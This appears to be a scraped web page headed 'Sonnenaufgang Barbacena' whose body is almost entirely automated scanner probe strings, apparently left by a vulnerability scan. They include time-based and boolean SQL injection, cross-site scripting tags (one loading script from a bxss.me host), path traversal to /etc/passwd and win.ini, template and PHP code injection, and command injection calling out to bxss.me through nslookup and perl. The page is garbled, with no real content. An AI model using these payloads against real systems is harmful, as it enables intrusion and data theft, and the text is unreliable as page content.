Sonnenaufgang Barbacena

@@j2JtT

1'"

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

FeVIGPS6')) OR 704=(SELECT 704 FROM PG_SLEEP(15))--

mi67GC6B') OR 504=(SELECT 504 FROM PG_SLEEP(15))--

555

rB9JHSwW' OR 844=(SELECT 844 FROM PG_SLEEP(15))--

555

-1)) OR 649=(SELECT 649 FROM PG_SLEEP(15))--

-5) OR 955=(SELECT 955 FROM PG_SLEEP(15))--

555

-5 OR 479=(SELECT 479 FROM PG_SLEEP(15))--

555

ZwceRSEf'; waitfor delay '0:0:15' --

555

1 waitfor delay '0:0:15' --

555

-1); waitfor delay '0:0:15' --

555

-1; waitfor delay '0:0:15' --

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

1<ScRiPt >won3(9036)</ScRiPt>

555

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9694></ScRiPt>

555

1<ScRiPt >won3(9289)</ScRiPt>

1<script>won3(9280)</script>

1<WNFDWV>ON1HW[!+!]</WNFDWV>

-1" OR 3*2<(0+5+502-502) --

1<ScRiPt >won3(9990)</ScRiPt>

-1" OR 2+502-502-1=0+0+0+1 --

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

-1' OR 3*2<(0+5+497-497) or '0OxrOHyK'='

-1' OR 3+497-497-1=0+0+0+1 or '0OxrOHyK'='

acx[[${98991*97996}]]xca

-1' OR 3*2<(0+5+731-731) --

acx{{98991*97996}}xca

-1' OR 2+731-731-1=0+0+0+1 --

-1 OR 3*2=5 AND 417=417

WEB-INF\web.xml

-1 OR 2+1-1-1=1 AND 417=417

-1 OR 3*2>(0+5+417-417)

<th:t="${acx}#foreach

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

-1 OR 2+417-417-1=0+0+0+1

-1 OR 3*2<(0+5+639-639) --

acux9402%C0%BEz1%C0%BCz2a%90bcxuca9402

-1 OR 2+639-639-1=0+0+0+1 --

acu8603%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8603

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

/.././.././.././.././.././.././.././../etc/./passwd%00

19377362

'.print(md5(31337)).'

/etc/passwd

/xfs.bxss.me

${@print(md5(31337))}

bxss.me

http://bxss.me/t/fit.txt%3F.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

../../../../../../../../../../etc/passwd%00.jpg

'.gethostbyname(lc('hites'.'bgthfsav7b64e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(66).chr(102).chr(88).'

)

${10000351+9999214}

`(nslookup hitudqiyhqxml5906b.bxss.me||perl -e "gethostbyname('hitudqiyhqxml5906b.bxss.me')")`

&(nslookup hitgagrkxgdpw78946.bxss.me||perl -e "gethostbyname('hitgagrkxgdpw78946.bxss.me')")&'\"`0&(nslookup hitgagrkxgdpw78946.bxss.me||perl -e "gethostbyname('hitgagrkxgdpw78946.bxss.me')")&`'

$(nslookup hitbjvkpyexqc2fb39.bxss.me||perl -e "gethostbyname('hitbjvkpyexqc2fb39.bxss.me')")

ZvVCCK2M')) OR 703=(SELECT 703 FROM PG_SLEEP(15))--

&echo ltealj$()\ mmgbve\nz^xyu||a #' &echo ltealj$()\ mmgbve\nz^xyu||a #|" &echo ltealj$()\ mmgbve\nz^xyu||a #

1Dqhpi7VKxO

KCfGaqBt') OR 201=(SELECT 201 FROM PG_SLEEP(15))--

bsOWvADh' OR 38=(SELECT 38 FROM PG_SLEEP(15))--

-1)) OR 168=(SELECT 168 FROM PG_SLEEP(15))--

-5) OR 423=(SELECT 423 FROM PG_SLEEP(15))--

-5 OR 326=(SELECT 326 FROM PG_SLEEP(15))--

MEpq6WYU'; waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

555</textarea><ScRiPt >n3xN(9847)</ScRiPt>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

acx__${98991*97996}__::.x

acx[[${98991*97996}]]xca

if(now()=sysdate(),sleep(15),0)

acx{{98991*97996}}xca

555

-1" OR 3+164-164-1=0+0+0+1 --

-1" OR 2+164-164-1=0+0+0+1 --

-1' OR 3+80-80-1=0+0+0+1 or 'YROIPYzD'='

-1' OR 2+80-80-1=0+0+0+1 or 'YROIPYzD'='

<th:t="${acx}#foreach

-1' OR 3+499-499-1=0+0+0+1 --

555

-1' OR 2+499-499-1=0+0+0+1 --

555

-1 OR 3+923-923-1=0+0+0+1

555

15d6a65e1bee5c/.

-1 OR 3+338-338-1=0+0+0+1 --

555

-1 OR 2+338-338-1=0+0+0+1 --

${@print(md5(31337))}

555

HttP://bxss.me/t/xss.html?%00

555

".gethostbyname(lc("hitud"."hvparfvw1924b.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(71).chr(115).chr(66)."

555

'"()

^(#$!@#$)(()))******

'.gethostbyname(lc('hitdj'.'grcydgja0c1f4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(85).chr(110).chr(88).'

|(nslookup hitfqvddssgvzc79e0.bxss.me||perl -e "gethostbyname('hitfqvddssgvzc79e0.bxss.me')")

555

&(nslookup hitptwxofmjzy4c9ae.bxss.me||perl -e "gethostbyname('hitptwxofmjzy4c9ae.bxss.me')")&'\"`0&(nslookup hitptwxofmjzy4c9ae.bxss.me||perl -e "gethostbyname('hitptwxofmjzy4c9ae.bxss.me')")&`'

./555

555

../555

(nslookup hitfxbtqqqixw24f3e.bxss.me||perl -e "gethostbyname('hitfxbtqqqixw24f3e.bxss.me')")

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

${9999835+9999649}

|echo txnipf$()\ bffkce\nz^xyu||a #' |echo txnipf$()\ bffkce\nz^xyu||a #|" |echo txnipf$()\ bffkce\nz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

../../../../../../../../../../../../../../etc/passwd

&echo uppiwr$()\ agtnnb\nz^xyu||a #' &echo uppiwr$()\ agtnnb\nz^xyu||a #|" &echo uppiwr$()\ agtnnb\nz^xyu||a #

echo mwigqr$()\ abnpck\nz^xyu||a #' &echo mwigqr$()\ abnpck\nz^xyu||a #|" &echo mwigqr$()\ abnpck\nz^xyu||a #

response.write(9475261*9033322)

1V38fnNX2O

555

User comments